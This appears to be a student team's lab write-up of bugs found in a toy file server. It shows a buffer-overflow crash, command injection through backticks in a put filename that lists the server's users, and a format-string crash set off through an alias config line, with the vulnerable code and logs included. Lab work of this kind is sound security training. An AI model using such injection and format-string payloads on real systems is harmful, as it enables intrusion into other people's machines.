Team1

Buffer overflow

- Giving a long path to the CD command will overflow the path buffer. The code as it is, is trying to set an invalid array positon. The only catch is that, the directory which we want to cd into, should exist.

```
char path[128];
// check size limitations
size_t len = strlen(current);
strncpy(path, current, len);
path[128] = '\0';
```

```
Server output:
 [127.0.0.1] Received line: login n
 [127.0.0.1] Received line: pass 1
 [127.0.0.1] Successfully logged in as: n
 [127.0.0.1] Received line: cd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA
Segmentation fault (core dumped)
mc08 56 $
```

Command injection

- The put comand creates a file by using the '>' operator. We can thus inject commands in the filename

Getting back a list of all usernames on the server:

```
mc08 124 $ ./client 127.0.0.1 31337
[i] Connecting to 127.0.0.1:31337
login n
pass 1
ls
total 0
put `users` 4
open(): No such file or directory
put port: 64049
Attempting to transfer file before put call
mc08 125 $ ./client 127.0.0.1 31337
[i] Connecting to 127.0.0.1:31337
login n
pass 1
ls
total 0
-rw-r----- 1 njaganna njaganna 0 Mar 18 12:00 achiraya chou63 chou63 njaganna
njaganna wei253 wu1220
```

Format string

- All the alias commands are run using Popen. Before this, they are all printed to the stderr of the server using fprintf.

```
std::string msg("=== Running subprocess: " + cmd);
fprintf(stderr, msg.c_str());
```

If the alias would have taken user input, this would have been exploitable. As this is not implemented, we can use the put command to overwrite the conf file as directory structure is not implemented. If the server restarts, this new conf file will be read and the exploit will work.

```
Server:

 [127.0.0.1] Received line: login n
 [127.0.0.1] Received line: pass 1
 [127.0.0.1] Successfully logged in as: n
 [127.0.0.1] Received line: echo
Segmentation fault (core dumped)

Client:

[i] Connecting to 127.0.0.1:3490
login n
pass 1
echo
[!] Disconnected from server
mc02 75 $

Sploit.conf:
alias echo echo %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
```

This attack can also be used to inject commands into the sploit.conf file.

Design bugs

- None of the alias commands take parameters.
- No directory structure